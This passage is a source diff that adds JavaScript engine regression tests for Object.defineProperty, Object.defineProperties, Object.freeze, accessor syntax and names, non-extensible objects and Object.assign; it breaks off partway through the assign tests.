+var summary = 'ES5 Object.defineProperty(O, P, Attributes): Function.length';
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runFunctionLengthTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js
new file mode 100644
index 0000000000..2b693853ed
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(1, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js
new file mode 100644
index 0000000000..483485ab22
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(2, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js
new file mode 100644
index 0000000000..8dd876e1f6
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(3, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js
new file mode 100644
index 0000000000..14a2f0907f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(4, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js
new file mode 100644
index 0000000000..d671a8ce49
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(5, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js
new file mode 100644
index 0000000000..5ff5922429
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(6, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js
new file mode 100644
index 0000000000..4a792d2f34
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(7, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js
new file mode 100644
index 0000000000..8cea528150
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(8, 8);
diff --git a/js/src/tests/non262/object/15.2.3.6-miscellaneous.js b/js/src/tests/non262/object/15.2.3.6-miscellaneous.js
new file mode 100644
index 0000000000..9f671c52ce
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-miscellaneous.js
@@ -0,0 +1,74 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = [];
+Object.defineProperty(o, 0, { value: 17 });
+var desc = Object.getOwnPropertyDescriptor(o, 0);
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+desc = Object.getOwnPropertyDescriptor(o, "length");
+assertEq(desc !== undefined, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+assertEq(desc.value, 1);
+assertEq(o.length, 1);
+
+Object.defineProperty(o, "foobar",
+ { value: 42, enumerable: false, configurable: true });
+assertEq(o.foobar, 42);
+desc = Object.getOwnPropertyDescriptor(o, "foobar");
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 42);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+var called = false;
+o = { set x(a) { called = true; } };
+Object.defineProperty(o, "x", { get: function() { return "get"; } });
+desc = Object.getOwnPropertyDescriptor(o, "x");
+assertEq("set" in desc, true);
+assertEq("get" in desc, true);
+assertEq(called, false);
+o.x = 13;
+assertEq(called, true);
+
+var toSource = Object.prototype.toSource || function() { };
+toSource.call(o); // a test for this not crashing
+
+var called = false;
+var o =
+ Object.defineProperty({}, "foo",
+ { get: function() { return 17; },
+ set: function(v) { called = true; } });
+
+assertEq(o.foo, 17);
+o.foo = 42;
+assertEq(called, true);
+
+/*
+ * XXX need tests for Object.defineProperty(array, "length", { ... }) when we
+ * support it!
+ */
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-new-definition.js b/js/src/tests/non262/object/15.2.3.6-new-definition.js
new file mode 100644
index 0000000000..7f938203e9
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-new-definition.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes): new definition';
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runNotPresentTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js
new file mode 100644
index 0000000000..d826a77551
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 1, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js
new file mode 100644
index 0000000000..78f862cb7e
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 2, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js
new file mode 100644
index 0000000000..0458a79577
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 3, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js b/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js
new file mode 100644
index 0000000000..8aa6d0a95a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js
@@ -0,0 +1,39 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var PART = 4, PARTS = 4;
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary =
+ 'ES5 Object.defineProperty(O, P, Attributes): redefinition ' +
+ PART + ' of ' + PARTS;
+
+print(BUGNUMBER + ": " + summary);
+
+loadRelativeToScript("defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runPropertyPresentTestsFraction(PART, PARTS);
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/object/15.2.3.7-01.js b/js/src/tests/non262/object/15.2.3.7-01.js
new file mode 100644
index 0000000000..5220e1483f
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.7-01.js
@@ -0,0 +1,137 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperties(O, Properties)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("defineProperties" in Object, true);
+assertEq(Object.defineProperties.length, 2);
+
+var o, props, desc, passed;
+
+o = {};
+props =
+ {
+ a: { value: 17, enumerable: true, configurable: true, writable: true },
+ b: { value: 42, enumerable: false, configurable: false, writable: false }
+ };
+Object.defineProperties(o, props);
+assertEq("a" in o, true);
+assertEq("b" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+desc = Object.getOwnPropertyDescriptor(o, "b");
+assertEq(desc.value, 42);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props =
+ {
+ c: { value: NaN, enumerable: false, configurable: true, writable: true },
+ b: { value: 44 }
+ };
+var error = "before";
+try
+{
+ Object.defineProperties(o, props);
+ error = "no exception thrown";
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "didn't throw or threw wrongly");
+assertEq("c" in o, true, "new property added");
+assertEq(o.b, 42, "old property value preserved");
+
+function Properties() { }
+Properties.prototype = { b: { value: 42, enumerable: true } };
+props = new Properties();
+Object.defineProperty(props, "a", { enumerable: false });
+o = {};
+Object.defineProperties(o, props);
+assertEq("a" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "a"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties on Properties");
+assertEq("b" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "b"), undefined,
+ "Object.defineProperties(O, Properties) should only use enumerable " +
+ "properties directly on Properties");
+
+Number.prototype.foo = { value: 17, enumerable: true };
+Boolean.prototype.bar = { value: 8675309, enumerable: true };
+String.prototype.quux = { value: "Are you HAPPY yet?", enumerable: true };
+o = {};
+Object.defineProperties(o, 5); // ToObject only throws for null/undefined
+assertEq("foo" in o, false, "foo is not an enumerable own property");
+Object.defineProperties(o, false);
+assertEq("bar" in o, false, "bar is not an enumerable own property");
+Object.defineProperties(o, "");
+assertEq("quux" in o, false, "quux is not an enumerable own property");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, "1");
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror",
+ "should throw on Properties == '1' due to '1'[0] not being a " +
+ "property descriptor");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, null);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == null");
+
+error = "before";
+try
+{
+ Object.defineProperties(o, undefined);
+}
+catch (e)
+{
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+}
+assertEq(error, "typeerror", "should throw on Properties == undefined");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.9.js b/js/src/tests/non262/object/15.2.3.9.js
new file mode 100644
index 0000000000..c73437fa7d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.9.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.freeze */
+
+function getme() { return 42; };
+function setme(x) { };
+
+var properties = { all: { value:1, writable:true, configurable:true, enumerable: true },
+ readOnly: { value:2, writable:false, configurable:true, enumerable: true },
+ nonConfig: { value:3, writable:true, configurable:false, enumerable: true },
+ none: { value:4, writable:false, configurable:false, enumerable: true },
+ getter: { get: getme, configurable:false, enumerable: true },
+ setter: { set: setme, configurable:false, enumerable: true },
+ getandset: { get: getme, set: setme, configurable:false, enumerable: true }
+ };
+var o = Object.defineProperties({}, properties);
+
+Object.freeze(o);
+
+function getPropertyOf(obj) {
+ return function (prop) {
+ return Object.getOwnPropertyDescriptor(obj, prop);
+ };
+};
+
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'all'),
+ { value: 1, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'readOnly'),
+ { value: 2, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'nonConfig'),
+ { value: 3, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'none'),
+ { value: 4, writable:false, enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getter'),
+ { get: getme, set: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'setter'),
+ { set: setme, get: (void 0), enumerable:true, configurable:false }),
+ true);
+assertEq(deepEqual(Object.getOwnPropertyDescriptor(o, 'getandset'),
+ { get: getme, set: setme, enumerable:true, configurable:false }),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-arguments-rest.js b/js/src/tests/non262/object/accessor-arguments-rest.js
new file mode 100644
index 0000000000..82f37b62e3
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-arguments-rest.js
@@ -0,0 +1,24 @@
+assertThrowsInstanceOf(() => eval("({ get x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a}, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ get x({a: A}, ...b) { } })"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("({ set x(...a) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x(a, ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x([a], ...b) { } })"), SyntaxError);
+assertThrowsInstanceOf(() => eval("({ set x({a: A}, ...b) { } })"), SyntaxError);
+
+({ get(...a) { } });
+({ get(a, ...b) { } });
+({ get([a], ...b) { } });
+({ get({a}, ...b) { } });
+({ get({a: A}, ...b) { } });
+
+({ set(...a) { } });
+({ set(a, ...b) { } });
+({ set([a], ...b) { } });
+({ set({a: A}, ...b) { } });
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-name.js b/js/src/tests/non262/object/accessor-name.js
new file mode 100644
index 0000000000..f238a2aefc
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-name.js
@@ -0,0 +1,35 @@
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name({get a() {}}, "a", true), "get a");
+assertEq(name({set a(v) {}}, "a", false), "set a");
+
+assertEq(name({get 123() {}}, "123", true), "get 123");
+assertEq(name({set 123(v) {}}, "123", false), "set 123");
+
+assertEq(name({get case() {}}, "case", true), "get case");
+assertEq(name({set case(v) {}}, "case", false), "set case");
+
+assertEq(name({get get() {}}, "get", true), "get get");
+assertEq(name({set set(v) {}}, "set", false), "set set");
+
+let o = {get a() { }, set a(v) {}};
+assertEq(name(o, "a", true), "get a");
+assertEq(name(o, "a", false), "set a");
+
+o = {get 123() { }, set 123(v) {}}
+assertEq(name(o, "123", true), "get 123");
+assertEq(name(o, "123", false), "set 123");
+
+o = {get case() { }, set case(v) {}}
+assertEq(name(o, "case", true), "get case");
+assertEq(name(o, "case", false), "set case");
+
+assertEq(name({get ["a"]() {}}, "a", true), "get a");
+assertEq(name({get [123]() {}}, "123", true), "get 123");
+assertEq(name({set ["a"](v) {}}, "a", false), "set a");
+assertEq(name({set [123](v) {}}, "123", false), "set 123");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/accessor-non-constructor.js b/js/src/tests/non262/object/accessor-non-constructor.js
new file mode 100644
index 0000000000..32d1d34673
--- /dev/null
+++ b/js/src/tests/non262/object/accessor-non-constructor.js
@@ -0,0 +1,20 @@
+var obj = { get a() { return 1; } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+
+obj = { set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+obj = { get a() { return 1; }, set a(b) { } };
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").get
+}, TypeError);
+assertThrowsInstanceOf(() => {
+ new Object.getOwnPropertyDescriptor(obj, "a").set
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/add-property-non-extensible.js b/js/src/tests/non262/object/add-property-non-extensible.js
new file mode 100644
index 0000000000..2089a5678b
--- /dev/null
+++ b/js/src/tests/non262/object/add-property-non-extensible.js
@@ -0,0 +1,118 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'add-property-non-extensible.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 602144;
+var summary =
+ 'Properly method-compile attempted addition of properties to ' +
+ 'non-extensible objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// No property
+
+var o1 = {};
+for (var i = 0; i < 5; i++)
+ o1.a = 3;
+assertEq(o1.a, 3);
+
+var o2 = Object.preventExtensions({});
+for (var i = 0; i < 5; i++)
+ o2.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o2, "a"), undefined);
+
+var o3 = Object.seal({});
+for (var i = 0; i < 5; i++)
+ o3.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o3, "a"), undefined);
+
+var o4 = Object.freeze({});
+for (var i = 0; i < 5; i++)
+ o4.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o4, "a"), undefined);
+
+
+// Has property
+
+var o5 = { a: 2 };
+for (var i = 0; i < 5; i++)
+ o5.a = 3;
+assertEq(o5.a, 3);
+
+var o6 = Object.preventExtensions({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o6.a = 3;
+assertEq(o6.a, 3);
+
+var o7 = Object.seal({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o7.a = 3;
+assertEq(o7.a, 3);
+
+var o8 = Object.freeze({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o8.a = 3;
+assertEq(o8.a, 2);
+
+
+// Extensible, hit up the prototype chain
+
+var o9 = Object.create({ a: 2 });
+for (var i = 0; i < 5; i++)
+ o9.a = 3;
+assertEq(o9.a, 3);
+
+var o10 = Object.create(Object.preventExtensions({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o10.a = 3;
+assertEq(o10.a, 3);
+
+var o11 = Object.create(Object.seal({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o11.a = 3;
+assertEq(o11.a, 3);
+
+var o12 = Object.create(Object.freeze({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o12.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o12, "a"), undefined);
+
+
+// Not extensible, hit up the prototype chain
+
+var o13 = Object.preventExtensions(Object.create({ a: 2 }));
+for (var i = 0; i < 5; i++)
+ o13.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o13, "a"), undefined);
+
+var o14 =
+ Object.preventExtensions(Object.create(Object.preventExtensions({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o14.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o14, "a"), undefined);
+
+var o15 = Object.preventExtensions(Object.create(Object.seal({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o15.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o15, "a"), undefined);
+
+var o16 = Object.preventExtensions(Object.create(Object.freeze({ a: 2 })));
+for (var i = 0; i < 5; i++)
+ o16.a = 3;
+assertEq(Object.getOwnPropertyDescriptor(o16, "a"), undefined);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/assign.js b/js/src/tests/non262/object/assign.js
new file mode 100644
index 0000000000..8828bdb21c
--- /dev/null
+++ b/js/src/tests/non262/object/assign.js
@@ -0,0 +1,303 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function checkDataProperty(object, propertyKey, value, writable, enumerable, configurable) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ assertEq(desc === undefined, false);
+ assertEq('value' in desc, true);
+ assertEq(desc.value, value);
+ assertEq(desc.writable, writable);
+ assertEq(desc.enumerable, enumerable);
+ assertEq(desc.configurable, configurable);
+}
+
+/* 19.1.2.1 Object.assign ( target, ...sources ) */
+assertEq(Object.assign.length, 2);
+
+// Basic functionality works with multiple sources
+function basicMultipleSources() {
+ var a = {};
+ var b = { bProp : 7 };
+ var c = { cProp : 8 };
+ Object.assign(a, b, c);
+ assertEq(a.bProp, 7);
+ assertEq(a.cProp, 8);
+}
+basicMultipleSources();
+
+// Basic functionality works with symbols (Bug 1052358)
+function basicSymbols() {
+ var a = {};
+ var b = { bProp : 7 };
+ var aSymbol = Symbol("aSymbol");
+ b[aSymbol] = 22;
+ Object.assign(a, b);
+ assertEq(a.bProp, 7);
+ assertEq(a[aSymbol], 22);
+}
+basicSymbols();
+
+// Calls ToObject() for target, skips null/undefined sources, uses
+// ToObject(source) otherwise.
+function testToObject() {
+ assertThrowsInstanceOf(() => Object.assign(null, null), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(), TypeError);
+ assertThrowsInstanceOf(() => Object.assign(null, {}), TypeError);
+ assertEq(Object.assign({}, null) instanceof Object, true);
+ assertEq(Object.assign({}, undefined) instanceof Object, true);
+
+ // Technically an embedding could have this as extension acting differently
+ // from ours, so a feature-test is inadequate. We can move this subtest
+ // into extensions/ if that ever matters.
+ if (typeof createIsHTMLDDA === "function") {
+ var falsyObject = createIsHTMLDDA();
+ falsyObject.foo = 7;
+
+ var obj = Object.assign({}, falsyObject);
+ assertEq(obj instanceof Object, true);
+ assertEq(obj.foo, 7);
+ }
+
+ assertEq(Object.assign(true, {}) instanceof Boolean, true);
+ assertEq(Object.assign(1, {}) instanceof Number, true);
+ assertEq(Object.assign("string", {}) instanceof String, true);
+ var o = {};
+ assertEq(Object.assign(o, {}), o);
+}
+testToObject();
+
+// Invokes [[OwnPropertyKeys]] on ToObject(source)
+function testOwnPropertyKeys() {
+ assertThrowsInstanceOf(() => Object.assign(null, new Proxy({}, {
+ getOwnPropertyNames: () => { throw new Error("not called"); }
+ })), TypeError);
+
+ var ownKeysCalled = false;
+ Object.assign({}, new Proxy({}, {
+ ownKeys: function() {
+ ownKeysCalled = true;
+ return [];
+ }
+ }));
+ assertEq(ownKeysCalled, true);
+};
+testOwnPropertyKeys();
+
+// Ensure correct property traversal
+function correctPropertyTraversal() {
+ var log = "";
+ var source = new Proxy({a: 1, b: 2}, {
+ ownKeys: () => ["b", "c", "a"],
+ getOwnPropertyDescriptor: function(t, pk) {
+ log += "#" + pk;
+ return Object.getOwnPropertyDescriptor(t, pk);
+ },
+ get: function(t, pk, r) {
+ log += "-" + pk;
+ return t[pk];
+ },
+ });
